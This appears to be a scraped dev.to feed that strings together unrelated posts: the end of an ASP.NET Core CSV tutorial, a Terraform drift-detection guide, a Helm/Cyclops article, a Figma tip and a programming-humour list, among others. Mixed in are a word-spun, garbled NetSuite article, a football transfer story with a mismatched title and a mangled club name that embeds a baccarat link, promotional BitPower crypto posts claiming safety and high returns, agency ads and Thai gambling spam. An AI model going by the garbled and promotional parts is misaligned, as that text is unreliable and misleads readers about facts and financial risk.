``` using CsvReaderApp.Services; var builder = WebApplication.CreateBuilder(args); // Add services to the container. builder.Services.AddRazorPages(); builder.Services.AddTransient<CsvService>(); // Register CsvService var app = builder.Build(); // Configure the HTTP request pipeline. if (!app.Environment.IsDevelopment()) {     app.UseExceptionHandler("/Error");     // The default HSTS value is 30 days. You may want to change this for production scenarios, see https://aka.ms/aspnetcore-hsts.     app.UseHsts(); } app.UseHttpsRedirection(); app.UseStaticFiles(); app.UseRouting(); app.MapControllerRoute(         name: "default",         pattern: "{controller=CsvImporter}/{action=Index}/{id?}"); app.UseAuthorization(); app.MapRazorPages(); app.Run(); ``` ## Step 8: Add CSS for Styling Create a wwwroot/css/site.css file to style the form and table: ``` html {     font-size: 14px; } @media (min-width: 768px) {     html {         font-size: 16px;     } } .btn:focus, .btn:active:focus, .btn-link.nav-link:focus, .form-control:focus, .form-check-input:focus {     box-shadow: 0 0 0 0.1rem white, 0 0 0 0.25rem #258cfb; } html {     position: relative;     min-height: 100%; } body {     font-family: Arial, sans-serif;     background-color: #f4f4f4;     margin: 0;     padding: 20px;     margin-bottom: 60px; } .container {     max-width: 800px;     margin: 0 auto;     background-color: #fff;     padding: 20px;     border-radius: 8px;     box-shadow: 0 0 10px rgba(0,0,0,0.1); } h1, h2 {     text-align: center; } form {     margin-bottom: 20px; } .form-group {     margin-bottom: 15px; } .form-control {     width: 100%;     padding: 10px;     border: 1px solid #ccc;     border-radius: 4px; } .btn-primary {     background-color: #007bff;     color: #fff;     padding: 10px 20px;     border: none;     border-radius: 4px;     cursor: pointer; }     .btn-primary:hover {         background-color: #0056b3;     } .table {     width: 100%;     border-collapse: collapse;     margin-top: 20px; }     .table th, .table td {         padding: 12px;         border: 1px solid #ccc;     }     .table th {         background-color: #f2f2f2;     } ``` ## Final Output: As we have added a routing, you will get the output here in this URL: https://localhost:7039/csvimporter. This is how it looks after selecting the file and clicking on upload:  ## Complete Code on GitHub For the complete code with a csv file for testing, you can visit the GitHub repository. Feel free to clone or download the project and experiment with it further. ## Conclusion By following these steps, you can create an ASP.NET Core NET Core 8 application that allows users to upload CSV files and displays the data in a styled HTML table. This setup includes proper error handling to manage any issues that may arise during file processing. Happy coding!

shekhartarare

Netsuite Dashboard Customization

common challenges and the way updated Them at the same time as NetSuite dashboard cusup to...

https://dev.to/susensmith/netsuite-dashboard-customization-3107

common challenges and the way updated Them at the same time as NetSuite dashboard cusup to datemization gives many benefits, it can additionally gift a few challenges. here are common challenges and guidelines for overcoming them: Records Overload solution: Prioritize the maximum critical information and use filters up to date restrict the records displayed. often overview and refine your dashboard updated preserve it relevant and potential. [Netsuite Dashboard Customization](https://www.circularedge.com/blog/insiders-guide-to-netsuite-dashboards/) Technical problems answer: Take gain of NetSuite's user-pleasant interface and sources. NetSuite offers complete courses and guide updated navigate the cusup datedmization process. If wanted, up to date help from NetSuite consultants or your IT crew. Inconsistent statistics answer: make certain that your information assets are reliable. Use automated statistics synchronization up to date up-to-date preserve your dashboard records modern. regularly evaluation your statistics for accuracy. conclusion NetSuite dashboard cusup to datemization is a powerful way updated decorate your enterprise insights and enhance selection-making. by means of tailoring your dashboard up-to-date display the most applicable records, you can streamline workflows, growth productivity, and benefit a deeper expertise of your enterprise overall performance. follow the steps and best practices outlined in this text up to date create a up to date NetSuite dashboard that meets your particular wishes. For extra records on NetSuite dashboard cusup-to-datemization, visit NetSuite's official documentation or seek advice from a licensed NetSuite consultant.

susensmith

Understanding Terraform Drift Detection and Remediation

Introduction to Terraform and Infrastructure as Code (IaC) We now manage and deploy infrastructure...

https://www.nilebits.com/blog/2024/07/terraform-drift-detection/

terraform, cloud, aws, cicd

Introduction to Terraform and Infrastructure as Code (IaC) We now manage and deploy infrastructure in a completely new way thanks to Infrastructure as Code (IaC). Consistent and repeatable infrastructure deployment is made possible by IaC through the use of configuration files. One of the industry's most widely used IaC tools is Terraform, which was created by HashiCorp. Users may collaborate, automate, and version infrastructure as code thanks to this feature. However, maintaining infrastructure with Terraform is not without its challenges. One of the main issues is drift in the infrastructure. Infrastructure drift is the term for when the actual state of your infrastructure differs from the state that is defined in your Terraform setup. This page discusses Terraform drift detection and repair, providing code samples, thorough explanations, and suggested practices for effectively managing infrastructure drift. What is Infrastructure Drift? Infrastructure drift happens when changes are made to your infrastructure outside of Terraform's control. These changes can be intentional or accidental and may occur due to: Manual changes made by administrators directly in the cloud console. Changes made by other automation tools or scripts. Modifications resulting from cloud provider updates or changes in service behavior. Drift can lead to inconsistencies, unexpected behavior, and security vulnerabilities. Therefore, detecting and remediating drift is crucial to maintaining the desired state of your infrastructure. How Terraform Manages State Before diving into drift detection, it's essential to understand how Terraform manages state. Terraform uses a state file to keep track of the infrastructure it manages. This state file is a critical component, as it maps the configuration files to the real-world resources. The state file is usually stored locally or remotely in a secure storage backend, such as AWS S3, HashiCorp Consul, or Terraform Cloud. Terraform uses this state file during operations to plan and apply changes to your infrastructure. Here's an example of a simple Terraform configuration and the corresponding state file: ``` # main.tf provider "aws" { region = "us-west-2" } resource "aws_instance" "example" { ami = "ami-0c55b159cbfafe1f0" instance_type = "t2.micro" } ``` After running terraform apply, Terraform creates a state file (terraform.tfstate) that looks something like this: ``` { "version": 4, "terraform_version": "1.0.0", "resources": [ { "mode": "managed", "type": "aws_instance", "name": "example", "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", "instances": [ { "schema_version": 1, "attributes": { "ami": "ami-0c55b159cbfafe1f0", "instance_type": "t2.micro", "id": "i-1234567890abcdef0", "tags": null } } ] } ] } ``` The state file is used by Terraform to map resources in your configuration to real-world resources. Any changes made outside of Terraform's control can lead to drift. Detecting Drift in Terraform The command "terraform plan" is included into Terraform and may be used to identify drift. Terraform compares the desired state specified in your configuration files with the present state of your infrastructure when you run terraform plan. Terraform will indicate any differences that it finds. Here's how you can use terraform plan to detect drift: ``` terraform plan ``` The output will show any differences between the actual state and the desired state. If there's no drift, the output will indicate that no changes are needed. If there is drift, the output will show the necessary changes to reconcile the state. For example: ``` # terraform plan output ... ~ aws_instance.example instance_type: "t2.micro" => "t2.small" ... ``` In this example, the instance type has changed from t2.micro to t2.small, indicating drift. Automating Drift Detection Manually running terraform plan to detect drift is not always practical, especially in large or complex environments. Automating drift detection can help ensure that drift is identified and remediated promptly. One approach to automate drift detection is to use CI/CD pipelines. Tools like Jenkins, GitHub Actions, GitLab CI, or CircleCI can be used to run terraform plan on a scheduled basis or whenever a change is made to the configuration files. Here's an example of how you can set up a drift detection pipeline using GitHub Actions: ``` # .github/workflows/terraform-drift-detection.yml name: Terraform Drift Detection on: schedule: - cron: '0 0 * * *' # Run daily at midnight jobs: drift-detection: runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v2 - name: Set up Terraform uses: hashicorp/setup-terraform@v1 with: terraform_version: 1.0.0 - name: Initialize Terraform run: terraform init - name: Run Terraform Plan run: terraform plan -detailed-exitcode ``` In this example, the GitHub Actions workflow runs terraform plan daily at midnight. The -detailed-exitcode flag ensures that the workflow fails if there are any changes detected, which can then trigger notifications or further actions. Remediating Drift in Terraform Once drift is detected, the next step is remediation. Remediation involves updating the Terraform configuration to match the desired state or applying changes to the infrastructure to bring it back in line with the configuration. There are two primary approaches to remediation: Update Configuration Files: If the drift represents a desired change, update the Terraform configuration files to reflect the new state. After updating the configuration, run terraform apply to update the state file. ``` # Update main.tf resource "aws_instance" "example" { ami = "ami-0c55b159cbfafe1f0" instance_type = "t2.small" # Updated instance type } # Apply changes terraform apply ``` Revert Changes: If the drift represents an unintended change, run terraform apply to revert the changes and bring the infrastructure back to the desired state. ``` terraform apply ``` In both cases, Terraform will update the state file to match the desired state. Best Practices for Managing Drift Managing drift effectively requires a combination of best practices and tooling. Here are some best practices to consider: Use Remote State: Store your Terraform state file in a remote backend to ensure consistency and accessibility across your team. Implement Version Control: Use version control systems like Git to track changes to your Terraform configuration files. Automate Testing and Validation: Use CI/CD pipelines to automate testing, validation, and drift detection. Restrict Manual Changes: Minimize manual changes to your infrastructure by enforcing the use of Terraform for all changes. Regular Audits: Perform regular audits of your infrastructure to detect and remediate drift promptly. Leverage Infrastructure Monitoring: Use infrastructure monitoring tools to detect changes in real-time and alert you to potential drift. Code Example: Full Workflow Let's walk through a full workflow example of managing drift with Terraform. This example will include a Terraform configuration, automation of drift detection, and remediation. Terraform Configuration: ``` # main.tf provider "aws" { region = "us-west-2" } resource "aws_instance" "example" { ami = "ami-0c55b159cbfafe1f0" instance_type = "t2.micro" } ``` Initialize Terraform: ``` terraform init ``` Apply Configuration: ``` terraform apply ``` Automate Drift Detection: Create a GitHub Actions workflow: ``` # .github/workflows/terraform-drift-detection.yml name: Terraform Drift Detection on: schedule: - cron: '0 0 * * *' # Run daily at midnight jobs: drift-detection: runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v2 - name: Set up Terraform uses: hashicorp/setup-terraform@v1 with: terraform_version: 1.0.0 - name: Initialize Terraform run: terraform init - name: Run Terraform Plan run: terraform plan -detailed-exitcode ``` Remediation: If drift is detected (e.g., instance type changed), update the configuration and apply changes: ``` # Update main.tf resource "aws_instance" "example" { ami = "ami-0c55b159cbfafe1f0" instance_type = "t2.small" # Updated instance type } # Apply changes terraform apply ```

amr-saafan

Top Node JS Development Company in UK | Node JS Development Services

Hire the trusted top node js development company in UK that delivers the best nodejs development...

https://dev.to/samirpa555/top-node-js-development-company-in-uk-node-js-development-services-5hn9

nodejsdevelopment, node

Hire the trusted **[top node js development company in UK](https://www.sapphiresolutions.net/top-nodejs-development-company-in-uk)** that delivers the best nodejs development service to the individual needs of the clients. Explore today for more!

samirpa555

🗓️ Day 16: Mastering Image Importing in Figma 📸

🗓️ Day 16: Mastering Image Importing in Figma 📸 👋 Hey, Design Enthusiasts! I'm Prince Chouhan, an...

https://dev.to/prince_chouhan/day-16-mastering-image-importing-in-figma-324j

uidesign, ui, ux, uxdesign

**🗓️ Day 16: Mastering Image Importing in Figma 📸** 👋 Hey, Design Enthusiasts! I'm Prince Chouhan, an aspiring UI/UX designer, here to share insights on importing images into your Figma projects. Let's dive in! 🚀 📚 Learning Highlights: Concept Overview: Importing images is crucial for enriching your designs. Figma offers multiple ways to bring in images and assets effortlessly. Key Takeaways: 1️⃣ Drag and Drop: Simply drag images directly into your Figma file. 2️⃣ Multiple Images: Select and drag multiple assets into your project at once. 3️⃣ Place Image/Video Tool: Use the toolbar option for precise control. Click on "Place Image/Video," select your files, and choose where to place them. Detailed Process: Basic Import: Drag and drop images into your canvas. Select multiple images and drag them in together. Toolbar Import: Open the shape tools drop-down menu. Select "Place Image/Video." Choose your images and click "Place All" or click individually to place. Profile Image Example: Draw a circle or any shape. Use "Place Image" and hover over the shape until highlighted. Click to insert the image into the shape. Advanced Usage: Duplicate shapes using Ctrl/Command + D. Use the "Place Image" option to insert images into multiple shapes. Challenges: 🔸 Choosing the best import method for your needs. Solution: Experimentation: Try different methods to find what works best for your workflow. Practice: Regular use helps master each method's nuances. Practical Application: Profile Images: Easily place profile pictures in shapes like circles or stars. Organized Layouts: Import and arrange multiple images efficiently.  🔍 In-Depth Analysis: Using Figma’s import options allows for flexibility and precision, enhancing the overall design experience. Whether working with single or multiple images, mastering these tools is essential for streamlined design workflows. 📢 Community Engagement: How do you prefer to import images in Figma? Share your methods and tips! 🌟 💬 Quote of the Day: "Good design is as little design as possible." - Dieter Rams Thank you for joining me on this journey! Stay tuned for more UI/UX design insights. #UIUXDesign #FigmaTips #DesignWorkflow #ImageImporting #GraphicDesign #DigitalDesign #DesignTools #UserExperience #UIDesign #CreativeProcess #DesignTips #DesignCommunity #Techniques #VisualDesign #ProductDesign #LearningJourney #DesignInspiration #DailyDesign #DesignEducation #TechSkills

prince_chouhan

Son Heung-min goes to Saudi Arabia for rejected

Will Kevin De Bruyne (33) of Manchester City move to Saudi Arabia. "The Bruyne, who has one year...

https://dev.to/outlookindia101/son-heung-min-goes-to-saudi-arabia-for-rejected-13c1

Will Kevin De Bruyne (33) of Manchester City move to Saudi Arabia. "The Bruyne, who has one year left before his contract expires in Manchester City, has verbally agreed to join the next club." "The Bruyne has verbally agreed to join Saudi Arabia's RT Hard," said transfer market expert Rudy Galetti. "Manchester City is open to selling The Bruyne while receiving a transfer fee." Recently, The Bruyne mentioned the possibility of a transfer. "When I get to my age, I have to be open to everything," he said of his connection to Saudi Arabia. "I'm talking about a huge amount of money that could be my last career. Sometimes I have to think about it." He said, "If I play for two years, I'll make a lot of money. I've been playing soccer for the past 15 years. I might not have reached that amount yet." Having joined Manchester City in 2015 after playing for Wolfsburg, The Bruyne has grown into one of the best midfielders in the world. He scored 102 goals and 170 assists in 382 matches for Manchester City. During the period, he not only won the Premier League but also won the trophy at major competitions such as the UEFA Champions League and the FIFA Club World Cup. [바카라사이트 추천](https://www.outlookindia.com/plugin-play/2023년-바카라-사이트-추천-실시간-에볼루션-바카라사이트-순위-top15-news-334941) He did not play in many games last season due to his injury. However, his influence was considerable whenever he played. In the first half of the 2023-24 season, he focused on recovering his hamstring. After returning in the second half of the season, he gradually improved his sense of play, and played in 26 games including the Cup, with six goals and 18 assists. The Bruyne remains competitive. However, his career is numbered. His contract with Manchester City also ends in June 2025. The time has come to think about the future. The Bruyne plans to be open-minded and see all the possibilities. In an interview after the end of last season, The Bruyne said, "I have to talk to Manchester City in the future. I want to stay at Manchester City for a few more years. But if the contract doesn't go well, I have to look into other teams. I don't know what's going to happen, so I don't have anything to say."

outlookindia101

Top Node JS Development Company in Australia | Node JS Development Services

Sapphire Software Solutions provides high-quality node.js development services for your project’s...

https://dev.to/samirpa555/top-node-js-development-company-in-australia-node-js-development-services-1ahg

nodejsdevelopment, nodejsdevelopmentcompany, nodejsdevelopmentservices

Sapphire Software Solutions provides high-quality node.js development services for your project’s success. Lead with **[top nodejs development company in Australia](https://www.sapphiresolutions.net/top-nodejs-development-company-in-australia)** for business growth. Our dedicated team of developers excels in creating high-performance, scalable applications tailored to your unique business needs. Harnessing the power of Node.js, we deliver fast, secure, and reliable solutions that drive your digital success.

samirpa555

Paper detailing BitPower Loop’s security

Security Research of BitPower Loop BitPower Loop is a decentralized lending platform based on...

https://dev.to/sang_ce3ded81da27406cb32c/paper-detailing-bitpower-loops-security-4fhb

Security Research of BitPower Loop BitPower Loop is a decentralized lending platform based on blockchain technology, dedicated to providing users with safe, transparent and efficient financial services. Its core security comes from multi-level technical measures and mechanism design, which ensures the robust operation of the system and the security of user funds. This article will introduce the security of BitPower Loop in detail from five aspects: smart contract security, decentralized management, data and transaction security, fund security and risk control mechanism. 1. Smart Contract Security Smart contracts are the core components of BitPower Loop, and their codes must undergo strict security audits before deployment. These audits are usually conducted by third-party independent security companies to ensure that there are no vulnerabilities or malicious code in the contract. In addition, the immutability of smart contracts means that once deployed, no one (including the development team) can modify its rules and logic, which fundamentally eliminates the possibility of malicious operations. All operations are automatically executed by smart contracts, avoiding the risk of human intervention and ensuring the fairness and consistency of system operation. 2. Decentralized Management BitPower Loop eliminates the risks brought by single point failures and central control through decentralized management. The system has no central management agency or owner, and all transactions and operations are jointly verified and recorded by blockchain nodes distributed around the world. This decentralized structure not only improves the system's anti-attack capabilities, but also enhances transparency. Users can publicly view all transaction records, which increases trust in the system. 3. Data and transaction security BitPower Loop uses advanced encryption technology to protect users' data and transaction information. All data is encrypted during transmission and storage to prevent unauthorized access and data leakage. The consensus mechanism of the blockchain ensures the validity and immutability of each transaction, eliminating the possibility of double payment and forged transactions. In addition, the automated execution of smart contracts also avoids delays and errors caused by human operations, ensuring the real-time and accuracy of transactions. 4. Fund security The secure storage of user funds is an important feature of BitPower Loop. Funds are stored on the blockchain through smart contracts and maintained by nodes across the entire network. Distributed storage avoids the risk of fund theft caused by centralized storage. In addition, the user's investment returns and shared commissions are automatically allocated to the user's wallet address by the smart contract after the conditions are met, ensuring the timely and accurate arrival of funds. 5. Risk Control Mechanism BitPower Loop effectively manages lending risks by setting collateral factors and liquidation mechanisms. The collateral factors are independently set according to market liquidity and asset value fluctuations to ensure system stability and lending security. When the value of the borrower's assets falls below a certain threshold, the liquidation mechanism is automatically triggered, ensuring the repayment of the borrower's debt and protecting the interests of the fund provider. In addition, the immutability and automatic execution characteristics of smart contracts further enhance the security and reliability of the system. Conclusion BitPower Loop achieves high security and stability through multi-level security measures and mechanism design. Its smart contracts are strictly audited and immutable, decentralized management eliminates single point failure risks, advanced encryption technology protects data and transaction security, distributed storage ensures fund security, and risk control mechanisms manage lending risks. These security features together build a reliable decentralized financial platform that provides users with secure, transparent and efficient financial services.

sang_ce3ded81da27406cb32c

Launched a new web service for developers

I launched a new web service called "Mini Wheel" for all of web developers. It's a web development...

https://dev.to/jackmutsuen/launched-a-new-web-service-for-developers-2fkf

webdev, beginners, nav

I launched a new web service called "Mini Wheel" for all of web developers. It's a web development tool. [https://mini-wheel.pro/](https://mini-wheel.pro/) Its concept is "On Demand Web Components" and "Releasing from redeveloping the wheel". Of course I know, JavaScript libraries like React are good, but this concept is not bad too I think. By using it, you can embed easily a "Nav header" and "Back to top button" to your own site. No writing JavaScript code. Just load CSS and JavaScript that would be provided by this service. I'm trying to make to growth it continue. So Try this, and feed back please.

jackmutsuen

What the Helm?!

Kubernetes applications rarely (if ever) consist of a single resource. In a basic example, you have a...

https://cyclops-ui.com/blog/2024/07/05/what-the-helm

kubernetes, opensource, devops, codenewbie

Kubernetes applications rarely (if ever) consist of a single resource. In a basic example, you have a deployment running your app and a service to expose its functionality. This requires you to either have one manifest containing the definitions of both the deployment and service or two separate manifests (one for each resource). Now, imagine you have multiple apps that require multiple manifests to run. To make managing them easier, you will want to group them together in logical units (or packages). Further, when running microservices, many of these manifests will look very similar, often differing only by a couple of values or lines. As you can imagine, this can quickly become cumbersome to manage. This is where Helm steps in. While Helm is not new to the scene, in this article, I will show you its benefits and how to improve the Kubernetes experience even further with something a bit newer… ### Support us 🙏 We know that Kubernetes can be difficult. That is why we created Cyclops, a **truly** developer-oriented Kubernetes platform. Abstract the complexities of Kubernetes, and deploy and manage your applications through a UI. Because of its platform nature, the UI itself is highly customizable - you can change it to fit your needs. We're developing Cyclops as an open-source project. If you're keen to give it a try, here's a quick start guide available on our [repository🔗](https://github.com/cyclops-ui/cyclops). If you like what you see, consider showing your support by giving us a star ⭐  ## What the Helm ?! > *Helm helps you manage Kubernetes applications — Helm Charts help you define, install, and upgrade even the most complex Kubernetes application.* > This is a quote directly from the [Helm website🔗](https://helm.sh/), let’s “*unpack*” what it means… ### Package manager Helm is often called the package manager for Kubernetes because it allows you to group multiple connected manifests that create an application into a Chart (package), making them easier to maintain. A chart’s structure looks something like this: ```bash my-chart ├── Chart.yaml ├── values.yaml ├── values.schema.json └── templates ├── deployment.yaml └── service.yaml ``` A chart can contain additional files, but these are the essential ones (for example, a `README.md` perfectly aligns with Helm's definition of a chart). The `Chart.yaml` file could be considered “metadata” of the package, containing some basic information like name, version, maintainers… In the `/templates` directory, you will find all the resources that make up your application. All the manifests are grouped here (in this example, it's just a deployment and service). Instead of using `kubectl` and applying these resources separately, charts allow you to package them together and install them into your cluster with a single command. One of the big things that made Helm so popular was the public charts repositories(like [ArtifactHub🔗](https://artifacthub.io/) or [Bitnami🔗](https://github.com/bitnami/charts)). This allowed people to use complex configurations others made. Many companies publish and maintain helm charts of their own software so people can easily install them in their clusters. ### Templating engine The second big feature of Helm is the templating engine. In the structure above, you probably noticed the `values.yaml` file. To understand why it's here, let’s actually look at our `deployment.yaml`. It can look something like this: ```yaml apiVersion: apps/v1 kind: Deployment metadata: labels: app: {{ .Values.image }} name: {{ .Values.name }} spec: replicas: {{ .Values.replicas }} selector: matchLabels: app: {{ .Values.name }} template: metadata: labels: app: {{ .Values.name }} spec: containers: - image: {{ .Values.image -}}:{{ .Values.version }} name: {{ .Values.name }} ports: - containerPort: 80 name: http ``` You will notice it looks a bit different than your normal deployment manifest (like the one you can find on the [Kubernetes documentation🔗](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/)). This is actually a blueprint. Helm allows you to create blueprints with placeholders - `{{.Values.image}}`. The values for these placeholders are defined in the `values.yaml` file. For example, `values.yaml` might contain: ```yaml name: my-app image: nginx version: 1.14.2 replicas: 1 service: true ``` Imagine you have multiple microservices that all use **almost** the same YAML manifest, apart from a couple of lines or values. For example, they differ only in the image. Helms' templating engine allows you to use the same blueprint for all your microservices and customize the specific details using the `values.yaml` file. So, if you have several microservices, you don’t need to write separate YAML files for each one. Just create a template and adjust the `values.yaml` for each microservice as needed. ## The Developer Experience While packages and blueprints help when dealing with large manifest files, changing values in such a structure can still be an issue for inexperienced developers. If you look again at the `values.yaml` file from above, you can easily see how someone can mistakenly type the string `“true”` instead of boolean `true`, or even integer `1`. It's an honest mistake, but it can cost you hours and hours of debugging time. That is where `values.schema.json` comes into play. In this file, Helm lets you define the type of values and their limitations - essentially providing validations for the `values.yaml`. This makes it harder for developers to make mistakes similar to the ones mentioned above. But the `values.yaml` from above is a pretty simple example. You will usually find **much** larger files with *many* more values (finding your way [here🔗](https://github.com/bitnami/charts/blob/main/bitnami/mysql/values.yaml) will take some time 😅). And this is where [Cyclops🔗](https://github.com/cyclops-ui/cyclops) lets you take the developer experience even further. Cyclops lets you define a UI that hides the complexities of large templates and allows you to define which fields your developers are exposed to.  The screenshot shows the Helm chart I used as an example before but now rendered in Cyclops. You can mold this screen to fit your needs, with many more (or fewer 😊) fields, allowing inexperienced devs to feel confident when deploying their applications in Kubernetes. And the validations haven’t been lost with Cyclops, far from it → now they are shown instantly. The great thing about Cyclops is that if you are already familiar with Helm, creating a UI for your use case is quick and simple because Cyclops renders the UI based on the `values.schema.json`. To clarify, **you can import your own (already existing) Helm charts to be rendered in Cyclops!** If you are storing your charts on a private repo, check the [documentation🔗](https://cyclops-ui.com/docs/templates/private_templates) to see how to connect it securely. Cyclops is **open-source**, so give it a go! ## Open Source Fiesta Helm is one of the most popular ways of handling Kubernetes configurations. It is a graduated project in the [CNCF🔗](https://www.cncf.io/), maintained by the [Helm community🔗](https://github.com/helm/community). The project is open-source, and its GitHub [repo🔗](https://github.com/helm/helm) has more than 26K stars and around 670 contributors - a testament to the size of the community around it. While Cyclops is a relatively new project compared to Helm, it is following in its footsteps. Cyclops has already been accepted into the CNCF landscape and has a fast-growing community around it. ### Hope it helps 🙌 Thanks for reading the article. I hope you found it useful. If you wish to be a part of the Cyclops community, to contribute with code, content, or even critique, be sure to join our [Discord community🔗](https://discord.com/invite/8ErnK3qDb3) and leave a star on the [repo🔗](https://github.com/cyclops-ui/cyclops) ⭐

karadza

If Programming Languages Were People: The Office Edition

It is Friday again, and as you may know, I aim to make Fridays a bit more fun here. So today, imagine...

https://dev.to/buildwebcrumbs/if-programming-languages-were-people-the-office-edition-16if

jokes, watercooler, programming, discuss

It is Friday again, and as you may know, I aim to make Fridays a bit more fun here. So today, imagine if the programming languages we use every day turned up to work in an office, yes, like The office, in person, with their own computer and desk. **Let’s explore the amusing office personalities of our favorite programming languages.** --- ### JavaScript: The Enthusiastic Project Manager Loves coffee and chaos, always buzzing with energy, loves starting new projects, and has a solution for every problem—**whether it fits or not**. - **Quote**: "Why do today what you can refactor tomorrow?"  --- ### Python: The Reliable Analyst Calm, collected, and methodical. Python believes in getting things right the first time and loves clear, efficient processes. Yet somehow, despite their differences, is quite good friends with JavaScript. - **Quote**: "Let’s keep this simple and readable, shall we?"  --- ### Java: The Corporate Veteran Highly experienced, a bit rigid, but extremely reliable. Java has seen it all and insists on thorough, time-tested protocols. Not everyone likes them, but they get the job done. - **Quote**: "Back in my day, we managed our own memory!"  --- **Would you help us? >.<** ⭐ Interested in supporting our free, Open Source initiative? At Webcrumbs we are building an Ecosystem of Pluginns and themes for JavaScript and your support fuels our progress and helps bring more awesome tools and content to cool developers like you [😎 👉 Star Webcrumbs on GitHub 🙏⭐](https://github.com/webcrumbs-community/webcrumbs) --- ### C++: The Senior Engineer Incredibly smart and somewhat intimidating. C++ is the go-to person for complex problems but can be a bit hard to approach. - **Quote**: "I’ve got a library for that." *Disclaimer: AI wrote this one for me, I never wrote C++ code LOL*  --- ### Ruby: The Creative Marketer Fun, creative, and loves making things beautiful and user-friendly. Ruby is all about delivering a delightful experience. Is friends with almost everyone in the office - **Quote**: "Why shouldn’t code be beautiful?"  --- ### PHP: The Legacy System Specialist Often underestimated, PHP is the backbone of many operations. Works hard behind the scenes to keep everything running smoothly. People keep saying they will get fired for years, but PHP still keeps doing a great job and maintaining their position. - **Quote**: "I might not be flashy, but I get the job done."  --- ### Swift: The Trendy Startup Founder Young, trendy, and fast-moving. Swift is all about creating sleek, high-performance applications quickly. - **Quote**: "Let’s disrupt the mobile app market."  --- ## Which programming language are you? Which programming language personality do you resonate with the most? Let us know in the comments! I definitely have some strong JavaScript vibes haha --- ### Show Your Support for Webcrumbs We are building a Ecosystem of plugins a d themes for the JavaScript community! Star us on GitHub to help us keep bringing you fresh and entertaining insights. Your support means a lot for us to continue developing innovative tools and content that make a difference. {% cta https://github.com/webcrumbs-community/webcrumbs %} ⭐👉 Star Webcrumbs on GitHub 🙏 ⭐ {% endcta %}

pachicodes

Bitpower's transformation and innovation

In today's world, the rapid development of technology is constantly changing our lifestyles. As one...

https://dev.to/pingz_iman_38e5b3b23e011f/bitpowers-transformation-and-innovation-12aa

 In today's world, the rapid development of technology is constantly changing our lifestyles. As one of them, BitPower is leading the transformation of the financial field. Decentralization, cryptocurrency, blockchain and smart contracts are the four pillars of BitPower's development, which together create an innovative, transparent and secure financial ecosystem. In a decentralized world, there is no central agency, no intermediary, and everything is managed by code and algorithms. This model gives users more control and freedom, allowing them to directly participate in financial activities without having to rely on banks or other traditional financial institutions. BitPower's decentralized characteristics ensure the transparency and openness of every transaction, and all transaction records can be traced on the blockchain. Cryptocurrency is another core of BitPower. As a digital asset, cryptocurrency not only provides an efficient means of transaction, but also brings huge profit opportunities to users. BitPower allows users to obtain considerable returns by providing liquidity through its unique circular income mechanism. Every investment will automatically return to the user's wallet through a smart contract, which is not only efficient but also greatly reduces risks. Blockchain technology is the foundation of BitPower's development. As a distributed ledger technology, blockchain ensures the security and immutability of data. All transaction records are permanently recorded on the blockchain and cannot be modified by anyone. This transparent and secure feature gives BitPower an unparalleled advantage in the financial field, and users can trade and invest with confidence. Smart contracts are the core of BitPower's operation. Smart contracts are automatically executed contracts that execute automatically when the preset conditions are met without human intervention. This feature makes all BitPower transactions automated and seamless, greatly improving efficiency. Users can easily carry out financial activities such as lending and investing through smart contracts and enjoy convenient and efficient services. In the future, BitPower has broad prospects for development. The four pillars of decentralization, cryptocurrency, blockchain and smart contracts will continue to drive the development of BitPower and bring more benefits and opportunities to users. With the continuous advancement of technology and the continuous expansion of applications, BitPower will attract more users and investors worldwide and become a leader in the financial field. In short, BitPower provides users with a safe, efficient and transparent financial platform with its decentralized operation model, efficient transactions of cryptocurrency, transparent security of blockchain and automatic execution of smart contracts. In the future, BitPower will continue to bring more benefits and opportunities to users with the support of these technologies, and promote changes and innovations in the financial field. #BTC #ETH #SC #DeFi

pingz_iman_38e5b3b23e011f

ฝากถอนด้วยระบบอัตโนมัติ เว็บตรง คาสิโน บาคาร่า สล็อตแตกง่าย

เว็บตรง สล็อตออนไลน์ ไม่ผ่านเย่นต์เว็บใหม่แห่งปี 2023, หากคุณกำลังหาสล็อตเว็บตรงเล่นอยู่...

https://dev.to/aonsri_domdee_9c9876afe2c/faakthndwyrabbatonmati-ewbtrng-khaasion-baakhaaraa-sltaetkngaay-1h76

เว็บตรง สล็อตออนไลน์ ไม่ผ่านเย่นต์เว็บใหม่แห่งปี 2023, หากคุณกำลังหาสล็อตเว็บตรงเล่นอยู่ แล้วไม่รู้ว่าจะเล่นเว็บไหน ดูยังไงว่าเว็บไหน เป็นเว็บตรงก็ไม่ยาก คุณเจอแล้วกับเรา เว็บสล็อต pg slot เว็บตรง เว็บแท้ไม่ผ่านเอเย่นต์ สล็อตเว็บตรง จากต่างประเทศยุโรป เล่นได้ทั่วทั้งเอเชีย และทั้งโลก ผ่านความน่าเชื่อถือ ระดับสากล มีใบรับรอง ความเอกลักษณ์ และหน้าเชื่อถือของเว็บไซต์ สล็อตออนไลน์ **[เว็บตรง](https://hhoc.org/)** ของค่ายpg สามารถเดิมพัน ได้ตั้งแตหลักหน่วย ถึงหลักพัน ทั้งยังมีซื้อฟีเจอร์ ฟรีสปินให้ลุ้นกันแบบสุดตัว ถึงไม่ซื้อก็เข้าฟีเจอร์แบบง่ายๆ ด้วยการที่ตอนนี้ เว็บพนันออนไลน์ มีมากมาย และเรียกได้ ว่ามีกระแสตอบรับ ในทางที่ดีและ ไม่ดีปะปนกันไป แต่ถ้าคุณกำลัง มองเว็บพนัน ออนไลน์ที่เชื่อถือได้ การันตีการจ่าย ที่ไม่มีกักเล่นได้เต็มๆ ต้องเล่นกับพวกเราที่เรียกว่า เว็บตรง100% โดยพวกเราทีมงาน Asia99th เป็นส่วนหนึ่งของ Asia99th เว็บตรง100%

aonsri_domdee_9c9876afe2c

เว็บตรงเข้าสู่แหล่งรวมเกมสล็อต สุดยอดเว็บเดิมพันออนไลน์ที่มาแรงเป็นอันดับต้นๆ

เว็บตรงที่ใครหลายคนพูดถึงและให้ความสนใจกันมากที่สุด...

https://dev.to/aonsri_domdee_9c9876afe2c/ewbtrngekhaasuuaehlngrwmekmslt-sudydewbedimphannailnthiimaaaerngepnandabtn-2gh8

